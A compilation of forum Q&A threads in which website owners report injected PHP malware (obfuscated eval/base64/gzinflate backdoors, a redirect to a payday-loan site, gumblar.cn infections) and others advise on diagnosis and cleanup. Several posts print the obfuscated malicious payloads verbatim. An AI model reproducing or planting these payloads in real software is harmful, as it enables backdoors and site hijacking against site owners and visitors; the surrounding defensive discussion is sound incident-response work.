Sadly I have run into a very big problem. I noticed that on a website (not mine anyway) there was a file with avery long obfuscated string (over 70.000 chars) with this:
eval(gzuncompress(base64_decode("CODE")));
I wanted to deobfuscate it locally on my PC but finally i decided to use the lazy way using one of the many online deobfuscator tools. As soon as i clicked on "Deobfuscate" i was able to see the output just for a few seconds. From that moment it seems that i can no longer access to pages where online deobfuscators are hosted. For example i can't open this page (Connection Aborted) even if i can properly browse all other pages:
http://www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html
It's like if all these tools get banned from my PC on every browser and user account. Only few of them are still accessible like MobileFish:
http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
But no one of them is able to process my requests. It's like if this php script is a pure devil. I suppose that my PC has been compromised in some way since i can't open some particular websites even if both MalwareBytes and Avast can't find anything wormy. Any ideas? What this script does?
http://pastebin.com/yf6R1rVK
The code has been put there through some sort of other vulnerability on the site. Here's the deobfuscated PHP, run at your own peril. It looks like some sort of shell which would allow attackers to run certain commands/farm information on the server it's hosted on
https://gist.github.com/jtylr/4fd6240ddcd046e62535
The code has been encoded and compressed, base64_decode() decodes the string, gzuncompress() decompresses it and eval() (see: evil) will then run the string.
I've run into some malicious code before that was injected into some vBulletin forums I was responsible for. Generally this malicious code is executed on the remote machine by being dumped onto the box as a bunch of bites, and then set up to be decoded, decompressed, and evaluated as suggested by that line you have.
It could have done anything.
Perhaps check your machines' host file and see if there are any strange entries that may prevent you from visiting those web pages.
C:\Windows\System32\drivers\etc\hosts
(Assuming you are on Windows. Look for anything suspicious in there and remove it.)
Could also be something in there preventing your anti-virus software from running, or it may be that no actual viral loads were delivered and that you've simply had your host file rewritten.
I doubt you are infected. The code is some kind of shell, that is certainly bad news for the site you found it on, but the simple act of viewing the code string wont effect you.
You can see the deobed code here: http://pastebin.com/QDvnAzZw
What i expect has happened is that your antivirus software scans webpages as you visit them, and recognized the deobed code as malicious, thus cutting the connection to the site.
I imagine the site is then flagged as malicious by your antivirus, thus blocking later attempts to visit it.
If i am correct, you probably wont be able to see the pastebin page linked above.
The solution is specific to your AV program.
here is the decoded malicious code (this link is a tiny paste , don't worry)
First rapid investigation (i didn't decode the python part) seem to try open backdoors in wordpress & joomla admins.
Related
I want to prevent access to the functions file in my Wordpress theme. I thought to hide functions.php by putting it on my server and calling it from the client's server. Is that a workable solution? Is there a better approach?
Why not change permissions? You could also move it to a non-public part of the directory tree and place a fwd file and code. That is how I use wp-config. I don't see why you couldn't do that with functions.php
This is technically possible if your client's server has allow_url_include set. However, it's still a bad idea for four reasons:
Speed: opening another HTTP request and waiting for it to complete every time anyone views your client's site will get slow very fast. It'll also hammer your site.
Security: The PHP file on the remote server (your server, in this case) will need to be printed in plaintext. This could be a bad thing, particularly if you've written customized, potentially-insecure code in it. Coincidentally, this also means that your approach won't actually stop your client from finding out what the script does. There's also nothing stopping the client from loading the URL of your unprotected script, pasting it into his WordPress directory, and altering the include. Additionally, if your server is ever compromised or someone snatches your domain, they can then inject code onto your client's server with impunity.
Ethics: Unless your client is explicitly made aware of this arrangement, it is unethical because if your business relationship terminates he or she will still be vulnerable to code injection, even after terminating your FTP/SSH/WordPress dashboard access.
Reliability: If you do this, any time your site is offline your client's site will die with a messy error message.
Re-homing executable code on your server is probably a really bad idea, and while it is absolutely technically possible, there are many compelling reasons why doing things this way are a bad idea.
If you are trying to protect proprietary code from the client, your only good options are to:
Host his site yourself. This could be profitable down the line if your technology is something that a specialized hosting company could be built around.
Build an API that can grant metered access to your proprietary data or processing, and write a WordPress plugin to talk to the API. This could be profitable down the line both by encouraging developers to write software for your system, and the WordPress plugin would lower the barrier for entry to doing business with you.
You can just put a .htaccess rule that redirects /functions.PHP to your homepage. This is what Facebook does.
Edit: see my comment below.
Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.
First someone managed to get this:
#preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");
Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.
There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).
It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.
My envo is:
Gentoo
PHP 5.2.14-pl0-gentoo
Apache 2
I have checked server logs however, as usual, they deleted their trail.
This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.
Is there any vulnerability within PHP that could cause this?
If you need clarification let me know.
Edit
I have a staging system which has a
Work
Preview
Live
I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).
So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.
Pinpointing this kind of things is more on the server admin side I guess. Check the attacker-modified file date, and look for for suspicious activity in that date and time in the server's log (apache logs, FTP logs, ssh logs maybe). This also may depend on your traffic, log size, and level of access to your server, as it may be prohibitive. If you have any html form that upload files, verify the directory in wich the files are stored for php shells . Also check the permissions on that directory. If you are on a shared hosting, this also can be the result of the attacker injecting a shell on another site, and then attacking yours by that mean. In that case contact your hosting company.
It's 99% chance the webserver fault, SQL injection is one thing, but I don't know, maybe they managed to somehow get your password with SQL injection and then log in to a control panel or ftp, but, I'd say it's the webserver.
Ok so I understand how and why now. It was the one thing I thought it would never be: Wordpress.
I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html
Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc
You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various Wordpress vulnerabilities to get around the location problem and plant scripts on any part of the server.
By the way, this actually happened on the latest install of Wordpress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny.
So a nice note of caution about Wordpress there...
My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.
#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#
Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what?
I also have to say that all my accounts are infected not only one.
My suggestion would be that your FTP account has been compromised. Change your FTP password and don't store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander's list of FTP accounts.
Review your php code. There might be some vulnerability in it somewhere that allows an attacker to modify your files. Or your web server could be vulnerable.
The reason why it is coming back is because someone (or a bot/script) is doing it repeatedly and you've not secured all the parts that run your application i.e. server + code.
Like #pomeh suggests, monitor your server logs to see which files are being accessed to see how it is happening.
Your site is probably open for attacks. And since you don't fix the open "holes" the attacker can inject the code again, and again.
I would start by checking server logs and ftp logs, that should give you a hint where is the problem. My guess would be that your site got compromised and user left a simple php shell behind for further access, which is the scenario for most of the cases. This can be uncovered just by looking at logs; this might be a little timely, and require a person at least little experienced in what to look for (things like traversal inclusion attempts - ../, sql injection attempts - and 1=1, xss - <script>alert, those are just the most basic of examples).
If however there was more serious intrusion, it will be more difficult to uncover as the person would be able to cover his tracks by getting rid of logs, so I'd probably also check for rootkits just to be safe.
Also it depends whether you are on shared host, in which case messed up server permissions can result in your website being vulnerable as a result of another website being compromised. A lot of websites get attacked this way, majority of small and middle sized hosting providers don't provide enough security in this area, essentially rendering your website only as secure as the least secure website hosted on the server.
As said in other answers, if you use open source solution check via google or for example at http://www.exploit-db.com/ if there had been any exploits released lately. Lastly you might want to check the server and what services it is running.
Was digging through the OSCommerce files on my site and found a file in the /images folder that I don't ever remember seeing before. I haven't checked the original install package, but I suspect this isn't a part of it.
The file is 27kb and called vidovic_pretty.php. It's encoded or compiled in some way, so the contents are unviewable. (see below)
<?eval(base64_decode("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7MjM0OzI1NTsyMjQ7MjUzOzI1MTsyMzA7MjI1OzIzMjsxNjc7...
Running it displays a single html textbox and a button that says, "Check."
Anyone have any ideas what it is or what it might do?
Thanks
This is most likely something a hacker injected - encoded and minimized. You can echo the result of base64_decode(...) instead of evaluating it to see what it would try to perform. BTW, actually running it was probably a big mistake.
If you can provide the entire string within the base64_decode - Or, actually, instead of calling eval, call echo:
<?echo base64_decode("JGs9M...");
You'll be able to see what it does. But, typically, this is a signature of a backdoor/attacker, etc. I've seen this style before. And the fact its in the images/ directory maybe means they were able to get something like photo.gif.php uploaded ...
Probably not good at all.
Running it displays a single html
textbox and a button that says,
"Check."
Does it post to a page? Maybe the page receives whatever is in the textbox and executes it via system(), exec(), etc....
Definitely a baddie you got there. As others have pointed out, it most probably serves as a nice backdoor for the attacker to run arbitrary commands on your system.
What you should, at a bare minimum, do is:
Notify your tech support and ask for them to find out what the attacker changed and when
If you are on a shared host, move to a dedicated server (or at least a VPS)
Back up your data, verifying it's clean in the process
Roll back to a backup made before the box has been compromised
Apply any and all security patches to the software you have been running, the OS, etc.
Reinstall your scripts then re-import the clean data
I have absolutely no doubt in my mind that you have been hacked. You have discovered a backdoor and you must remove it immediately. These are often put in place by automated attack systems and then a hacker can come back at a later date and assume control over your server or use your server to break into web browsers that visit it. I have cleaned up hacks identical to this before. I'm surprised you aren't on google's walware list, that is usually peoples first indication.
I really want to find out the PHP code that is being eval'ed. Can you post the full base64? Maybe split it up by newlines so it will fit.
In my PHP framework, I do not allow files to be uploaded that apache might know how to execute upon retrieval.
If you must print out a thing like this, do it in a CLI version of PHP, don't send it to your browser! It might also include something that our browser will execute.
I own a website running on LAMP - Linux, Apache, mySQL and PHP. In the past 2-3 weeks the PHP and jQuery files on my website have become infected from malware from a site called gumblar.cn
I can't understand how does this malware get into my PHP files and how do I prevent it from happening again and again.
Any ideas?
UPDATE:
Looks like it is a cpanel exploit
Your site is cracked, so the crackers simply replace your files.
You should always upgrade your Linux OS, Apache, MySQL, PHP, and the web PHP programs whenever a security alert is announced.
Linux servers running open services without upgrading them regularly are the most vulnerable boxes on internet.
No one here can provide a conclusive solution based on the information you provided, so all we can suggest is that you follow good security practices and standards and correct any weak points immediately.
Make sure your software is up-to-date. It's very possible to gain access to local files through exploits in PHP programs, so keep any third-party applications you're running on their latest versions (especially very widespread programs like Wordpress and phpBB), and do whatever you can to ensure that your server is running the correct versions of its services (PHP, Apache, etc.).
Use strong passwords. A strong password is a long, random list of characters. It should have nothing to do with your life, it should have no readily available acronyms or mnemonics, it should not resemble a dictionary word, and it should contain a healthy interspersing of different characters; numbers, letters of different cases, and symbols. It should also be reasonably long, ideally more than 26 characters. This should help keep people from bruteforcing your credentials for enough time for competent sysadmins to take action against the attackers.
Work with the administrators at your hosting provider to understand what happened in this particular case and do things to correct it. They may not have noticed anything unusual; for instance, if you have an easy password, or if this attack was perpetrated by a trusted individual, or if you have an unpatched exploit in a custom PHP application, there would be nothing to indicate an improper use.
Shared hosts also have many people with access to the same local machine, so things like file permissions and patching of locally-accessible exploits both within your application and generally is very important. Make sure your host has good policies on this and make sure that none of your software unequivocally trusts local connections or users.
The nature of the attack (an import of malware from a site that appears to do this kind of thing en masse) suggests that you were running an exploitable application or that your username/password combination was not sufficiently strong, but the administrators at your provider are really the only ones able to supply accurate details on how this happened. Good luck. :)
Chances are, there is an application on your server with a known vulnerability that has been attacked, and something has modified files on your web site or installed a new file.
When searching for information on gumblar.cn, it looks like they use a trojan called JS-Redirector-H. Not sure if this is what is involved here.
Fixing this may involve restoring your web site from backup, if you have no way of knowing what has been modified. If you have source control or a recent version, you may be able to do a whole-site diff. But you will also need to fix the security vulnerability that allowed this to happen in the first place.
Chances are it's some insecure app, or an app you installed some time ago but have not updated recently. A few people who have complained about this mentioned that they use Gallery (ie PHP Gallery). Though I'm not sure if that's connected.
If you are not the server administrator, talk to the server admin. They may be able to help, and it would be wise to let them know about this.
Google Advisory:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://gumblar.cn (linking doesn't work)
First, contact your hosting company and report this. If this is server-wide, they need to know about it.
The most common cause of infections like this is vulnerable popular PHP software (such as PHPBB, Mamboserver and other popular systems). If you're running any 3rd party PHP code, make sure you have the latest version.
If you've determined that this only affects your site, restore from a backup. If you don't have any backups, try re-installing everything (you can probably migrate the database) you have (to the latest version) and go through your own PHP code (if any).
PHP Programs are actually simple text files that run on the server by the PHP interpreter. if your application is infected, then I think there are tow posiibilities:
1.they have used some security hole in YOUR application to inject some code into your server, so now they have changed some of your PHP files, or some of your database information.
if this is the case, you better double check every single place where you are fetching information from the user (text inputs, file uploads, cookie values, ...), make sure everything is well filtered. this is very common security practice to filter anything that comes from the user. you also better make sure that the data that is currently saved in your database (or file system) is clean. I suggest using Zend_Filter component of the Zend Framework to filter user input. there are many full featured filter libraries out there.
2.they could have run some program on your server, that is affecting your PHP source files. so somehow they have accomplished running some program/script your server, that is changing your application.
if this is the case, I suggest your check all your server processes and make sure you know every process that is running. although I think this is less possible.
Ok, this is NOT a programming question and SO is not the place for this because if we would tolerate such questions here we would soon be a first aid / support site for ppl with bad shared hosting accounts.
I only didn't vote for closing because I feel bad turning a few ppl down who are probably feeling really bad about a problem they don't have the knowledge to fix.
First of all: google for gumblar.cn, there is a growing number of potentialy helpful posts accumulating as we speak.
If you're a real beginner and you feel you don't get any of the things in the answers here then just do the following:
Get a new host
Google for information about all your software until you know, if the software is safe. If it's not, don't use it, until the developers have fixed the problem. An example of a not secure software is 'Galery'.
Install all your software (the secure ones only) FRESH INSTALL!!
Copy over static files (like images) to the new server. Do NOT copy over any dynamic files, like php scripts, as they could be infected.
Don't upload any of your own PHP scripts until you've checked them for security vulnerabilities. If you don't know how to do this, don't upload anything before you've learned about these things.
I have been affected by this virus/malware and currently cleaning up. I hope this will be helpful:
1) You most likely have a TROJAN on your PC. To verify this simply run (Start > Run... or Windows key + R) and type "cmd" or "regedit". If either of those doesnt open its window as expected, you have the Js:Redirector trojan. You can also verify that the anti virus programs aVast and Malware Bytes can not connect to updates for some reason (sneaky trojan that is). Plus, you'll notice that the Security program of the Control Panel was disabled, you wouldn't have seen a notification in the tray icons to tell you that the virus protection was disabled.
2) This is a very recent exploit, apparently of vulnerabilities inflash or pdf plugins, thus you are not safe even if you didn't use Internet Explorer!
As for me, I believe because I hate programs slowing down my PC, I have my Windows Updates on "manual", and I didn't have resident protection (scanning of all web connections, etc), and I was probably infected by visiting another hacked site which was not blacklisted yet. Also I was over confident in non-IE browsers! I sometimes ignore the blacklist warning as I am curious about what the scripts do etc, and forgot once again just how BAD Windows really is. Conclusion: leave Windows Updates on automatic, have minimal resident protection (aVast Web Shield + Network Shield).
3) Because this is a trojan that sends back your FTP password, it doesn't matter how good your password was!
4) Try to lceanup your PC with Malware or aVast, it will find a file ending with ".ctv"
You MUST have a virus database dated 14 May or more recent. If you can't update (as explained above), then follow these instructions (you'll need to extrapolate but basically you have a file, the name may vary, which is pointed in the registry, and use HiJackThis to remove it, once you rebout without this file excuted, all is fine)
5) Of course update your passwords, BUT make sure the trojan is removed first!
6) For an exact list of all pages modified try to get a FTP log and you'll find the IP of the script/hacker and all touched files.
7) If you have a complete local copy of the "production" environment, then the safest is to delete ALL the site on the server, and re-upload all files.
8) During the clean up process DONT visit your infected site, or you will re-install the trojan! If you have the latest aVast Home Edition and the "Web Shield" protection it will give you a warning and block the page from being executed by your browser.
like Francis mentioned, try to get your hosting company to make sure their software is up to date.
On your side, change your ftp password to something completely obscure as soon as possible. I've seen this happen to people before. What these 'hackers' do is a brute force on your ftp account, download a couple of files, modify them slightly, and then re-upload the infected copies. If you have access to the ftp log files you'll probably see a connection to your account from an IP other than yours. You may be able to submit this to your hosting company and ask them to black-list that IP from accessing their servers.
That website (gumblar.cn that you mentioned) is being tested for malware. You can monitor results here: http://www.siteadvisor.com/sites/gumblar.cn/postid?p=1659540
I had something like this happen to me at an old hosting provider. Somehow, someone, was able to infect Apache in some way so that a special header was injected into all my PHP files which caused the browser to try to download and run in the browser. While they got it fixed, the quick solution was to take down all my PHP files, and change my index file a plain HTML file. Whether or not this stops the problem for you depends on how the server is infected. The best thing and probably most responsible thing you can do is to protect your visitors by taking down site, and if possible (if text files aren't infected), display a message stating that if they visited recently they may have been infected.
Needless to say, I switched hosting providers quick soon after my site was infected. My hosting provider was pretty bad in a lot of other ways, but this was pretty much the final straw.